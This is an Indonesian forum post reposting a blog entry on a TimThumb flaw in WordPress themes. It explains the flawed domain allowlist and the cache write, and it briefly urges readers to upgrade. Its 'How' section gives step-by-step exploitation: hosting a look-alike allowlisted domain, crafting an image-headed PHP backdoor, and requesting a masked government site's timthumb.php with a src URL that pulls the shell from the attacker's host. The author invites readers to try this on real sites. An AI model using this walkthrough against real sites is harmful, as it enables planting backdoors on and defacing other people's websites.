dari blognya om wenk :
[You must be registered and logged in to see this link.]Beberapa waktu lalu blog saya terkena deface oleh seorang (hmei7) defacer handal asal Indonesia (negeri sendiri), sampai sekarang saya belum mendapatkan caranya masuk dan mengkompromise blog saya, bolak balik melotoin log file, tetap juga ga ketemu masuknya lewat mana, berselang beberapa hari saya mendapat email dari sahabat saya MaXe Dalam emailnya dia menyebutkan kalo timthumb.php pada wordpress merupakn 0day (zero days) exploit dan belum di publish, saya berpikir apakah blog saya juga terkena exploit dari timthumb.php bawaan theme dari Wordpress ? sampai sekarang saya masih belum mendapat jawabanya, mungkin saja master hmei7 masuk lewat shared hosting (jumping) dari server yang berbeda.
back to topic, timthumb.php merupakan plugin default dari wordpress theme, hampir 98% seluruh theme Wordpress yang berbedar di dunia menggunakan timthumb.php untuk keperluan croping dan resize image, timthumb.php sangat populer di kalangan wordpress theme developer karena kemudahannya, tetapi siapa yang menyangka ternyata timthumb.php memiliki celah yang bisa di exploitasi sehingga attacker dengan sangat mudah bisa mengkompromise blog anda
Why
kok bisa ? pertanyaan itu muncul di benak saya sebelum saya membedah script timthumb.php ini, padahal timthumb.php merupakan on the fly image manipulator yang sangat handal, bahkan bukan hanya wordpress saja yang menggunakan timthumb.php untuk keperluan manupulasi image, tetapi banyak website lain yang non Wordpress juga menggunakan timthumb.php untuk keperluan tersebut
setelah saya membedah timthumb.php barulah saya mengerti kenapa dan bagaimana mengekploitasi dan mencegah hal itu terjadi, bahkan sekarang versi baru dari timthumb versi 1.33 sudah rilis, di bawah versi 1.33 semuanya berpotensi untuk di exploitasi, jadi jika situs blog anda menggunakan timthumb.php cepat upgrade ke versi yang baru, karena sekarang exploit ini masih 0day exploit (zero day exploit)
- Code:
-
$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
);
jika kita perhatikan variable $allowedSites di atas, timthumb hanya memperbolehkan kita mengambil image dari luar (external image) dari situs-situs yang tertera di dalam lingkup array $allowedSites, untuk pencegahan, list url tersebut dihapus saja demi keamaanan, kemudian di barisan kode selautnya
- Code:
-
if (strpos (strtolower ($src), 'http://') !== false || strpos (strtolower ($src), 'https://') !== false)
dan pada baris
if (strpos (strtolower ($url_info['host']), $site) !== false)
terlihat jelas kan, list domain yang ada pada variable $allowedSites di periksa menggunakan fungsi php strpos ini mengakibatkan kita bisa mengakali nama domain yang ada, karena strpos hanya memeriksa ada tidaknya string yang tertera pada $allowedSites sehinnga kita bisa memanipulasi nama domian yang ada menjadi nama domain kita seperti blogger.com.khairu.net atau flicker.com.khairu.net sehingga timthumb.php tetap menganggap nama domain terebut valid domain.
bagian berikutnya yang membuat attacker dapat membuat backdoor dengan tenang karena tidak adanya pemeriksaan jenis mime dari external image, timthumb.php menggunkan fungsi file_put_contents sehingga memungkinkan untuk memanggil external image yang berupa file php (shell backdoor) dan langsung menulis external image tersebut dalam folder chace yang permissions nya 777 (parahkan), kesalahan tersebut terdapat pada script berikut
- Code:
-
if (file_put_contents ($local_filepath, $img) == FALSE) {
display_error ('error writing temporary file');
}
terlihat jelas, jika tidak terjadi error dalam penulisan file image, maka external image langsung di tuliskan dalam folder cache dengan format external_md5(file_image), file image bisa saja berbentuk backdoor atau php shell
How
Bagaiamana mengexploitasinya ? saya bagian ini memang sangat di sukai oleh rekan-rekan semua :D. disamping belajar, sekaligus mencoba (penetrasi) ke sebuah situs yang menggunakan plugin timthumb ini, sebenrnya tidak terlalu ribet dan susah, hanya dibutuhkan beberapa ketelitian dan kesabaran, here we go dude
Pertama kita butuh hostingan, untuk membuat fake domain yang terdaftar dalam list $allowedSites timthumb, kemudian kita membutuhkan sebuah backdoor yang sudah di encode menjadi base64 atau hexa, dan perlu di ingat, backdoor tersebut harus berbentuk image (atau memiliki header image) sehingga timthumb meng-anggap itu adalah sebuah image
Pada dasarnya menggunakan timthumb.php tidak susah, timthumb memanggil sebuah file image, dan kemudian menampilka image tersebut sesuai dengan parameter yang digunakan, seperti h = height dan w = width dan src = sebagai sumber dari image, sebelum di tampilkan, thimthub akan membuat duplicat dari iamge tersebut dan disimpan dalam folder cache dengan fotmat md5(image), so bagaiaman kita melakukannya agar external image kita yang berupa backdoor bisa tersimpan di folder cache milik timthumb ?
misalnya fake domain saya adalah
[You must be registered and logged in to see this link.] dan image backdoor saya adalah file.php, file.php merupakan payload yang berisi image dan backdoor, untuk membuat payload tersebut rekan-rekan bisa mendownload tools buatan MaXe tinthumbCraft dan menjalankannyaa, setelah download ikuti petunjuk dari tools tersebut, sebagai catatan, saya mencoba tools ini di ubuntu 10.10 karena menggunakan python, untuk yang windows silahkan dowload python dan install, kemdian setelah file image tercipta, upload ke hostingan anda, letakan di fake domain buatan anda, misalnya seperti
[You must be registered and logged in to see this link.] kemudian back to target dan jadikan seperti berikut
- Code:
-
http://xxxxxxxx.gov.us/wp-contents/themes/bluhazard/timthumb.php?src=http://bollger.com.khairu.net/file.php
jika tidak ada kesalahan maka shell anda akan tercipta tepat berada di folder wp-content/theme/bluhazard/chace/external_md5(image).php dan backdoor siap untuk di operasikan
[You must be registered and logged in to see this link.]itu dari sespuh perguruan, dan 0day, silakan di dearch di wp nya timthumb.php and ganti code nya dengan yang baru di sini
[You must be registered and logged in to see this link.]nB: timthumb.php juga ada d theme jangan cek d plugins aja